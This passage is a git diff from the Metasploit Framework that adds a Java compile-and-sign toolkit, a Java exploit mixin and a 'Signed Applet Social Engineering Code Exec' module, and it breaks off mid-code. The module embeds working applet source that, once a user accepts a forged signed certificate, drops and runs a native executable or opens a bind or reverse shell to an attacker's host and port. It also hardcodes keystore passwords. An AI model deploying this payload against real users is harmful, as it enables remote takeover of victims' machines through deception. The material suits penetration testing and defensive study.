zcmZuyO;cM{7=BK^PI9>jgocu~w5g>U%0~(+YC@|(gAFC2Hc$oBdPxrSLdcCbH+)oG z)s-`@ojT*D8)n?K&Rk}U!;CJv=(01qaP4o{ZxDexh#z>BvPjABd<;{jYjl4C-Fint%|$oZ-~Ny*iu zf@_%KNGoVZMw+MP>bgwwF2@Z8owy{2thCI?)vR36;Kr;UH#y!@5W)L?%*lD4V}auX zhNiLEiHYQmTiMinl7Xcdd?R{Mw=OfdqdhknJmW@QFtkkRMUknjEedl+TP%>JHD?OV z5|f%aYUXb1>tu>Vr&hFeEv6f>3B4c^3x~HdU31pba;s^r55gVSXqlA)}+(N3|-E7 z#nKD070rwh_(ms&j>G3^t*9@FvL&N60;^&XITd;2IE0ENEHfN;LJC@OIYy=Q;__HU zFXV;Ez(@0W+DBB}hOS}-t11duukFKXUL}My(t6nJ0o8YEy=iL{cacxc{q7pQ;wL zvXwUS`jRdPB3;Kx3M&h1Mwf*>(Md^&N{x^ao0ii#3@7W!9QN+$rP#b)a*iDKJaiQ( z6^|~ArBXd~*}WU4Zc(zjh4OiG1*1%s76+emTW3ryM;3*?IW5X%ZCT(fJ!nF`R^pAX^s(VwouJx4*F zOcma_{wjQPJK#I;$35<0Z^+xbdmrEQhP*?M@Rgiw1n%K(ZKd3UZyW0m(Nu*>Va>r8 zY_!zQT4`mY%|@___PM%k2gl;Ru&=fY+2{y+!af_vtLSuGb`Xy9Fz<8s?b<{_B zl@(gTo<4WTZ{y_l-tS><kw!J699vfZ#Hck_Q;2A2ljqY@xjk67iUL+i3I(Go) zfkVj?{6ep?3zDQ2oS?Cl$O@u`9{C7D#AyeT^r&A&7|S??4Py8%PUA~b;%l74ebQr_ z6#0(S_@4BzNsB7Q{X`ib5!sK4?k5;4BBj#oKe`x`;_6it7@^Az4a0_CcCgK-Q;;K%C+(w}iY2;gl|g5o+Vels1v JK~-IN^FJ98tbzal literal 0 HcmV?d00001 diff --git a/external/source/msfJavaToolkit/javaCompile/CreateJarFile.java b/external/source/msfJavaToolkit/javaCompile/CreateJarFile.java new file mode 100644 index 0000000000..95be0e243c --- /dev/null +++ b/external/source/msfJavaToolkit/javaCompile/CreateJarFile.java @@ -0,0 +1,51 @@ +// Source: http://www.java2s.com/Code/Java/File-Input-Output/CreateJarfile.htm + +package javaCompile; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.util.jar.JarEntry; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +public class CreateJarFile { + public static int BUFFER_SIZE = 10240; + public static void createJarArchive(File archiveFile, File[] tobeJared) { + try { + byte buffer[] = new byte[BUFFER_SIZE]; + // Open archive file + FileOutputStream stream = new FileOutputStream(archiveFile); + JarOutputStream out = new JarOutputStream(stream, new Manifest()); + + for (int i = 0; i < tobeJared.length; i++) { + if (tobeJared[i] == null || !tobeJared[i].exists() + || tobeJared[i].isDirectory()) + continue; // Just in case... + System.out.println("Adding " + tobeJared[i].getName()); + + // Add archive entry + JarEntry jarAdd = new JarEntry(tobeJared[i].getName()); + jarAdd.setTime(tobeJared[i].lastModified()); + out.putNextEntry(jarAdd); + + // Write file to archive + FileInputStream in = new FileInputStream(tobeJared[i]); + while (true) { + int nRead = in.read(buffer, 0, buffer.length); + if (nRead <= 0) + break; + out.write(buffer, 0, nRead); + } + in.close(); + } + + out.close(); + stream.close(); + System.out.println("Adding completed OK"); + } catch (Exception ex) { + ex.printStackTrace(); + System.out.println("Error: " + ex.getMessage()); + } + } +} diff --git a/external/source/msfJavaToolkit/javaCompile/JavaSourceFromString.class b/external/source/msfJavaToolkit/javaCompile/JavaSourceFromString.class new file mode 100644 index 0000000000000000000000000000000000000000..1b451a4f56f9eedec43a5e023ff75a5fd20664fb GIT binary patch literal 1019 zcmah|ZBG+H5Pr6A*OsHL6+x;%MU=MCo)%xB62e83DoR4dM893Hn|kEBSMRO{|CJgn zMiYO4Kgu}UUJX*v4|g*=J2THS&+h*G_3a0MDryQYC&4fqM^4%+NnFKT0`pjqzr2iH zOJWh%lbFO(0xE7OxT#>7A!0f$&XCo>`JgWN6g75Zu*m!}GXDOdGrVd-`L#G=l^BM+X8)@IyLK&vFDq+;>K@Ocl;x z#h?ym5!~1I_v(aXy4>(-jK%Xc36cq_8YGP(|79m-&z&y<^7IlW=?Rg>^1R6l(U-vm zie$-aAc`>AwbFO6*T)ED!+k_nGL?+hN0i*ph#f&8r;qqoBxrezWNGyaCO%Oa!$tb1 z1}$nR;}KoBO^Qz8QUEYVRzgNgN0|8drzA#UV4Jq4$%Zh4+hpZ4o<{|@wq}0=IQ0Pz literal 0 HcmV?d00001 diff --git a/external/source/msfJavaToolkit/msfkeystore b/external/source/msfJavaToolkit/msfkeystore new file mode 100644 index 0000000000000000000000000000000000000000..715602fcb30853dc0cfa31e4183da295071187ab GIT binary patch literal 1099 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 I1h8@Y4-dz}Z~y=R literal 0 HcmV?d00001 diff --git a/external/source/msfJavaToolkit/testCompilation.rb b/external/source/msfJavaToolkit/testCompilation.rb new file mode 100755 index 0000000000..8011270b18 --- /dev/null +++ b/external/source/msfJavaToolkit/testCompilation.rb @@ -0,0 +1,40 @@ +#!/usr/bin/ruby + +require 'rubygems' +require 'rjb' + +#Rjb::load('.', jvmargs=[]) +Rjb::load("#{ENV['JAVA_HOME']}/lib/tools.jar:.",jvmargs=[]) + +clsJavaCompile = Rjb::import('javaCompile.CompileSourceInMemory') +clsCreateJar = Rjb::import('javaCompile.CreateJarFile') +clsFile = Rjb::import('java.io.File') +#clsString = Rjb::import('java.lang.String') + +classNames = [ "HelloWorld1", "HelloWorld2" ] + +codez = Array.new + +classNames.each { |name| + codez << %Q^ +public class #{name} { + public static void main(String args[]) { + System.out.println("This is from #{name}."); + } +}^} + +#compileOpts = [""] +outputDir = "testoutdir" +compileOpts = [ "-target", "1.3", "-source", "1.3", "-d", outputDir ] + +success = clsJavaCompile._invoke('CompileFromMemory','[Ljava.lang.String;[Ljava.lang.String;[Ljava.lang.String;', classNames, codez, compileOpts) + +fileOutJar = clsFile.new_with_sig('Ljava.lang.String;', 'output.jar') +filesIn = Array.new + +classNames.each { |name| + filesIn << clsFile.new_with_sig('Ljava.lang.String;', "#{outputDir}/#{name}.class") +} + +clsCreateJar._invoke('createJarArchive', 'Ljava.io.File;[Ljava.io.File;', fileOutJar, filesIn) + diff --git a/external/source/msfJavaToolkit/testKeytool.rb b/external/source/msfJavaToolkit/testKeytool.rb new file mode 100755 index 0000000000..7ed76c9929 --- /dev/null +++ b/external/source/msfJavaToolkit/testKeytool.rb @@ -0,0 +1,42 @@ +#!/usr/bin/ruby + +require 'rubygems' +require 'rjb' + +Rjb::load(ENV['JAVA_HOME'] + '/lib/tools.jar:.',jvmargs=[]) + +# This is a completely hackish way to do this, and could break with future +# versions of the JDK. Need to find a better way to use sun.security.tools.KeyTool +# and .JarSigner than modifying the source. These rely on internal APIs that may +# change. +clsKeyTool = Rjb::import('sun.security.tools.KeyTool') +#clsKeyTool = Rjb::import('sun.security.tools.KeyToolMSF') +clsJarSigner = Rjb::import('sun.security.tools.JarSigner') +#clsJarSigner = Rjb::import('sun.security.tools.JarSignerMSF') + +keytool = clsKeyTool +jarsigner = clsJarSigner + +outputJar = "output.jar" + +#certCN cannot contain commas +certCN = "Metasploit Inc." +#keytoolOpts = "-genkey -alias signFiles -keystore msfkeystore " + +# "-storepass msfstorepass -dname \"cn=#{certCN}\" " + +# "-keypass msfkeypass" + +keytoolOpts = ["-genkey", "-alias", "signFiles", "-keystore", "msfkeystore", + "-storepass", "msfstorepass", "-dname", "cn=#{certCN}", + "-keypass", "msfkeypass"] + + +keytool._invoke('main','[Ljava.lang.String;',keytoolOpts) + + +jarsignerOpts = ["-keystore", "msfkeystore", "-storepass", "msfstorepass", + "-keypass", "msfkeypass", "-signedJar", "s#{outputJar}", + outputJar, "signFiles"] + +jarsigner._invoke('main','[Ljava.lang.String;',jarsignerOpts) + + diff --git a/external/source/msfJavaToolkit/testoutdir/HelloWorld1.class b/external/source/msfJavaToolkit/testoutdir/HelloWorld1.class new file mode 100644 index 0000000000000000000000000000000000000000..d02040fda49488a71f96a75ffbbb5951ce589f63 GIT binary patch literal 467 zcmZvY!AiqG5QhIvlcr6ht*xn6E!2Y$doXyeco9UTsF0!uPiec>ElF0=MDVfnpy0s= z@S()nRA>t>%g)R{-wZSR{qy++z(d(=%+Pf2`_te#@WLRTcz&9Qc+yjamM^np#LtC-yB9nR z<(*8z@$r$uI}eGBI+x`AVHD1bZI~#T*s`&W7DH?BC}thHdBJiU6FW9`vBywZk{N1? zaju6`K1x?4|7Di)h_;g%C7k)}LV7necuEuSAnGwR@*b-)gZZSOkhXT*|CYu+4Ek4f zG!Tvwy=98pWEokb`vLY!4t)>3#az?~slX;*p$B;>P=13}FT6uv;1;C-ow^zXuaU1| F{TK2rW^n)j literal 0 HcmV?d00001 diff --git a/external/source/msfJavaToolkit/testoutdir/HelloWorld2.class b/external/source/msfJavaToolkit/testoutdir/HelloWorld2.class new file mode 100644 index 0000000000000000000000000000000000000000..eaa1ea1639aaef156d5dacdee6ec8471345385a3 GIT binary patch literal 467 zcmZvY!AiqG5QhIvlcr6ht*xn6E!2Y$dobX&;zbaVqC$!uJf-bgw^xTE5JZ5kD6S?q2XP zly@=-$Hzws?>rRgidhfz2$wqc@VV#~%hS`4khqnLH*<^{`bOzha$#U4XtNoJ@m z#^ z(Lgv#^p+`VlVxO$?g!W_IrKgB7IRS}qyn3Kg&yRkK=}iwfm@UUbn0plyhgr; F^ +# +### + +require 'msf/core' + +module Msf +module Exploit::Java + + def initialize(info = {}) + super + + register_advanced_options( + [ + OptString.new( 'JAVACACHE', [true, 'Java cache location', + File.join(Msf::Config.config_directory, "javacache")]), + OptString.new( 'ADDCLASSPATH', [false, 'Additional java classpath', nil]), + ], self.class) + + begin + require 'rjb' + @rjb_loaded = true + init_jvm + rescue Exception => e + @rjb_loaded = false + @jvm_init = false + @java_error = e + end + end + + def init_jvm(jvmoptions=nil) + # Instantiate the JVM with a classpath pointing to the JDK tools.jar + # and our javatoolkit jar. + classpath = File.join(Msf::Config.install_root, "data", "exploits", "msfJavaToolkit.jar") + classpath += ":" + File.join(ENV['JAVA_HOME'], "lib", "tools.jar") + classpath += ":" + datastore['ADDCLASSPATH'] if datastore['ADDCLASSPATH'] + + Rjb::load(classpath, jvmargs=[]) + + @jvm_init = true + end + + def query_jvm + return @jvmInit + end + + def compile(classnames, codez, compile_options=nil) + if !@rjb_loaded or !@jvm_init + raise RuntimeError, "Could not load rjb and/or the JVM: " + @java_error.to_s + end + + if compile_options.class.to_s != "Array" && compile_options + raise RuntimeError, "Compiler options must be of type Array." + end + + compile_options = [] if compile_options.nil? + + # Create the directory if it doesn't exist + Dir.mkdir(datastore['JAVACACHE']) if !File.exists? datastore['JAVACACHE'] + + # For compatibility, some exploits need to have the target and source version + # set to a previous JRE version. + std_compiler_opts = [ "-target", "1.3", "-source", "1.3", "-d", datastore['JAVACACHE'] ] + + compile_options += std_compiler_opts + + java_compiler_klass = Rjb::import('javaCompile.CompileSourceInMemory') + + # If we were passed arrays + if classnames.class == [].class && codez.class == [].class + # default compile class + begin + # Sames as java_compiler_klass.CompileFromMemory( String[] classnames, + # String[] codez, String[] compilerOptions) + success = java_compiler_klass._invoke('CompileFromMemory', + # Signature explained: [ means array, Lpath.to.object; means object + # Thus, this reads as call the method with 3 String[] args. + '[Ljava.lang.String;[Ljava.lang.String;[Ljava.lang.String;', + classnames, codez, compile_options) + rescue Exception => e + print_error "Received unknown error: " + e + end + else + raise RuntimeError, "The Java mixin received unknown argument-type combinations and cannot continue." + end + if !success + raise RuntimeError, "Compile failed." + end + end + + def build_jar(output_jar, in_files) + if output_jar.class != "".class || in_files.class != [].class + raise RuntimeError, "Building a jar requires an output_jar and an Array of in_files." + end + + # Add paths + in_files = in_files.map { |file| File.join(datastore['JAVACACHE'], file) } + + create_jar_klass = Rjb::import('javaCompile.CreateJarFile') + file_class = Rjb::import('java.io.File') + + file_out_jar = file_class.new_with_sig('Ljava.lang.String;', File.join(datastore['JAVACACHE'], output_jar) ) + files_in = Array.new + + in_files.each { |file| files_in << file_class.new_with_sig('Ljava.lang.String;', file) } + create_jar_klass._invoke('createJarArchive', 'Ljava.io.File;[Ljava.io.File;', file_out_jar, files_in) + end + + def sign_jar(cert_cn, unsiged_jar, signed_jar, cert_alias="signFiles", msf_keystore="msfkeystore", + msf_store_pass="msfstorepass", msf_key_pass="msfkeypass") + # The regular versions of KeyTool and JarSigner call System.exit() after functions complete. + # While this is find for a standalone tool, it will kill the JVM and MSF at the same time. + # To fix this, I obtained the open source version of these two tools and removed the calls to + # .exit. This temporarily fixes the problem, but relies on various unpublished APIs in sun.*, + # which may not work the same way accross different versions of the JDK. + # + # JDK6 is required for use of the compiler functions anyway, so this is probably not a huge deal + # right now, but long term, this functionality may be lost in future versions. + # + # Custom Keytool and JarSigner are stored in javaCompile.jar + # Dependent on $JAVA_HOME/lib/tools.jar that comes with the JDK. + keytool_klass = Rjb::import('sun.security.tools.KeyTool') + jarsigner_klass = Rjb::import('sun.security.tools.JarSigner') + #keytool = keytool_klass + #jarsigner = jarsigner_klass + + # Check if the keystore exists from previous run. If it does, delete it. + msf_keystore = File.join(datastore['JAVACACHE'], msf_keystore) + File.delete msf_keystore if File.exists? msf_keystore + + # http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf + keytool_opts = ["-genkey", "-alias", cert_alias, "-keystore", msf_keystore, + "-storepass", msf_store_pass, "-dname", "CN=#{cert_cn}", + "-keypass", "msfkeypass"] + + # Build the cert keystore + keytool_klass._invoke('main','[Ljava.lang.String;',keytool_opts) + + jarsigner_opts = ["-keystore", msf_keystore, "-storepass", msf_store_pass, + "-keypass", msf_key_pass, "-signedJar", + File.join(datastore['JAVACACHE'], signed_jar), # Signed Jar + File.join(datastore['JAVACACHE'], unsiged_jar), # Input Jar we're signing + cert_alias] # The cert we're using + jarsigner_klass._invoke('main','[Ljava.lang.String;',jarsigner_opts) + + # There are warnings in the source for KeyTool/JarSigner warning that security providers + # are not released, and if you are calling .main(foo) from another app, you need to release + # them manually. This is not done here, and should Rjb be used for anything in the future, + # this may need to be cleaned up. + end + +end +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 9fa9e6ce22..51820004be 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -55,3 +55,5 @@ require 'msf/core/exploit/oracle' # tekniqz require 'msf/core/exploit/fmtstr' +# Java +require 'msf/core/exploit/java' diff --git a/lib/msf/core/module/author.rb b/lib/msf/core/module/author.rb index e7e39a0e8d..0addd18836 100644 --- a/lib/msf/core/module/author.rb +++ b/lib/msf/core/module/author.rb @@ -13,26 +13,27 @@ class Msf::Module::Author { 'hdm' => 'hdm' + 0x40.chr + 'metasploit.com', 'spoonm' => 'spoonm' + 0x40.chr + 'no$email.com', - 'skape' => 'mmiller' + 0x40.chr + 'hick.org', + 'skape' => 'mmiller' + 0x40.chr + 'hick.org', 'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com', - 'optyx' => 'optyx' + 0x40.chr + 'no$email.com', + 'optyx' => 'optyx' + 0x40.chr + 'no$email.com', 'anonymous' => 'anonymous-contributor' + 0x40.chr + 'metasploit.com', 'stinko' => 'vinnie' + 0x40.chr + 'metasploit.com', - 'MC' => 'mc' + 0x40.chr + 'metasploit.com', + 'MC' => 'mc' + 0x40.chr + 'metasploit.com', 'cazz' => 'bmc' + 0x40.chr + 'shmoo.com', 'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com', 'skylined' => 'skylined' + 0x40.chr + 'edup.tudelft.nl', 'patrick' => 'patrick' + 0x40.chr + 'aushack.com', - 'ramon' => 'ramon' + 0x40.chr + 'risesecurity.org', + 'ramon' => 'ramon' + 0x40.chr + 'risesecurity.org', 'I)ruid' => 'druid' + 0x40.chr + 'caughq.org', - 'egypt' => 'egypt' + 0x40.chr + 'metasploit.com', + 'egypt' => 'egypt' + 0x40.chr + 'metasploit.com', 'kris katterjohn' => 'katterjohn' + 0x40.chr + 'gmail.com', - 'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com', - 'et' => 'et' + 0x40.chr + 'metasploit.com', - 'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com', - 'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com', + 'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com', + 'et' => 'et' + 0x40.chr + 'metasploit.com', + 'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com', + 'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com', 'ddz' => 'ddz' + 0x40.chr + 'theta44.org', - 'jduck' => 'jduck' + 0x40.chr + 'metasploit.com' + 'jduck' => 'jduck' + 0x40.chr + 'metasploit.com', + 'natron' => 'natron' + 0x40.chr + 'metasploit.com' } # diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb new file mode 100644 index 0000000000..dd8a59f71b --- /dev/null +++ b/modules/exploits/multi/browser/java_signed_applet.rb @@ -0,0 +1,432 @@ +## +# $Id: $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Java + + def initialize( info = {} ) + + super( update_info( info, + 'Name' => 'Signed Applet Social Engineering Code Exec', + 'Description' => %q{ + This exploit dynamically creates an applet via the Msf::Exploit::Java mixin, converts it + to a .jar file, then signs the .jar with a dynamically created certificate containing + values of your choosing. This is presented to the end user via a web page with an applet + tag, loading the signed applet. + + The user's JVM pops a dialog asking if they trust the signed applet and displays the + values chosen. Once the user clicks 'accept', the applet executes with full user + permissions. + + The java payload used in this exploit is derived from Stephen Fewer's and HDM's payload + created for the CVE-2008-5353 java deserialization exploit. + + This module requires the rjb rubygem, the JDK, and the $JAVA_HOME variable to be set. + If these dependencies are not present, the exploit falls back to a static, signed + JAR. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'natron' ], + 'Version' => '$Revision: $', + 'References' => + [ + [ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ], + ], + 'Platform' => [ 'win', 'osx', 'linux', 'solaris' ], + 'Payload' => { 'Space' => 2048, 'BadChars' => '', 'DisableNops' => true }, + 'Targets' => + [ + # Generic java payload is mostly useless right now, as it kills as soon as the user browsers + # to another page. It should be rewritten to launch a new JVM in the background with a custom + # .class. + # + # Look up the path to bin/java, dump .class to java.io.tmpdir, then bin/java foo.class via + # /bin/sh or cmd.exe + [ 'Generic (Java Payload)', + { + # This is a bad hack to force only the generic/shell_bind_tcp + # and generic/shell_reverse_tcp payloads + 'Platform' => ['win'], + 'Payload' => { 'Space' => 0 }, + 'Arch' => ARCH_CMD, + } + ], + [ 'Windows x86 (Native Payload)', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86, + } + ], + # Not tested. + [ 'Mac OS X PPC (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_PPC, + } + ], + # Not tested. + [ 'Mac OS X x86 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + } + ], + # Not tested. + [ 'Linux x86 (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + } + ], + ], + 'DefaultTarget' => 1 + )) + register_options( + [ + OptString.new( 'CERTCN', [ true, "The CN= value for the certificate.", "Metasploit Inc." ]), + OptString.new( 'APPLETNAME', [ true, "The main applet's class name.", "SiteLoader" ]), + OptString.new('PAYLOADNAME', [ true, "The payload classes name.", "SiteSupport" ]), + + # Not implemented yet. + #OptString.new('PACKAGENAME', [ true, "The package name for gen'd classes.","x" ]), + #OptString.new('CUSTOMJAR', [ false, "A custom .jar applet to use.", nil]), + ], self.class) + end + + + def exploit + # + # Currently doing all processing in on_request_uri. + # If this is too slow, we can move applet generation up here. + # + super + end + + def get_code(cli) + + # I used to dump #{data} directly into the applet source, but there's a max size of 65k characters for constant Strings. + appletsource = %Q^ +/* + */ + +import java.applet.Applet; +import java.io.ByteArrayInputStream; +import java.io.ObjectInputStream; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.OutputStream; +import java.io.OutputStreamWriter; +import java.net.ServerSocket; +import java.net.Socket; +import java.security.AccessController; +import java.security.PrivilegedExceptionAction; + +public class #{datastore['APPLETNAME']} extends Applet +{ + + public void init() + { + try + { + String data = getParameter( "data" ); + String lhost = getParameter( "lhost" ); + String lport = getParameter( "lport" ); + + if( data == null ) { + data = ""; + } + + System.out.println("Applet executing. Creating payload class."); + + #{datastore['PAYLOADNAME']} site = new #{datastore['PAYLOADNAME']} (); + System.out.println("Payload class instantiated."); + site.data = data; + + if( lhost != null && lport != null) { + site.lhost = lhost; + site.lport = Integer.parseInt(lport); + System.out.println("lhost: " + lhost); + System.out.println("lport: " + Integer.parseInt(lport)); + } + + System.out.println("data: " + data); + + site.run(); + } + catch( Exception e ) { System.out.println("Applet error: " + e); } + } + + class #{datastore['PAYLOADNAME']} implements PrivilegedExceptionAction + { + // This will contain a hex string of the native payload to drop and execute. + public String data = null; + // If no native payload is set we get either a java bind shell or a java + // reverse shell. + public String lhost = null; + public int lport = 4444; + + class StreamConnector extends Thread + { + InputStream is; + OutputStream os; + + StreamConnector( InputStream is, OutputStream os ) + { + this.is = is; + this.os = os; + } + + public void run() + { + BufferedReader in = null; + BufferedWriter out = null; + + try + { + in = new BufferedReader( new InputStreamReader( is ) ); + out = new BufferedWriter( new OutputStreamWriter( os ) ); + char buffer[] = new char[8192]; + int length; + while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) + { + out.write( buffer, 0, length ); + out.flush(); + } + } + catch( Exception e ) { System.out.println( "StreamConnector error: " + e); } + + try + { + if( in != null ) + in.close(); + if( out != null ) + out.close(); + } + catch( Exception e ) { System.out.println( "StreamConnector error: " + e); } + } + } + + // http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java + public byte[] StringToBytes( String s ) + { + byte[] data = new byte[s.length() / 2]; + + for( int i = 0 ; i < s.length() ; i += 2 ) + data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) ); + + return data; + } + + public Object run() throws Exception + { + System.out.println("Applet running..."); + + try + { + String os = System.getProperty( "os.name" ); + + // if we have no native payload to drop and execute we default to + // either a TCP bind or reverse shell. + //if( #{datastore['PAYLOADNAME']}.data.length() == 0 ) + if( this.data.length() == 0 ) + { + System.out.println("Applet thinks payload.data is empty."); + Socket client_socket = null; + + String shell = "/bin/sh"; + + if( os.indexOf( "Windows" ) >= 0 ) + shell = "cmd.exe"; + + //if( #{datastore['PAYLOADNAME']}.lhost == null ) + if( this.lhost == null ) + { + //ServerSocket server_socket = new ServerSocket( #{datastore['PAYLOADNAME']}.lport ); + ServerSocket server_socket = new ServerSocket( this.lport ); + client_socket = server_socket.accept(); + } + else + { + //client_socket = new Socket( #{datastore['PAYLOADNAME']}.lhost, #{datastore['PAYLOADNAME']}.lport ); + client_socket = new Socket( this.lhost, this.lport ); + } + + if( client_socket != null ) + { + Process process = Runtime.getRuntime().exec( shell ); + + ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start(); + + ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start(); + } + } + else + { + System.out.println("Applet knows there's data to write. Writing to: " + System.getProperty( "java.io.tmpdir" )); + String filename = Math.random() + ".exe"; + String path = System.getProperty( "java.io.tmpdir" ) + File.separator + filename; + System.out.println(filename + " written."); + + Process p; + FileOutputStream fos = new FileOutputStream( path ); + + //fos.write( StringToBytes( #{datastore['PAYLOADNAME']}.data ) ); + fos.write( StringToBytes( this.data ) ); + + fos.close(); + + if( os.indexOf( "Windows" ) < 0 ) + { + p = Runtime.getRuntime().exec( "chmod 755 " + path ); + p.waitFor(); + } + + p = Runtime.getRuntime().exec( path ); + + p.waitFor(); + + new File( path ).delete(); + } + } + catch( Exception e ) { System.out.println("Payload execution error: " + e); } + + return null; + } + + public void 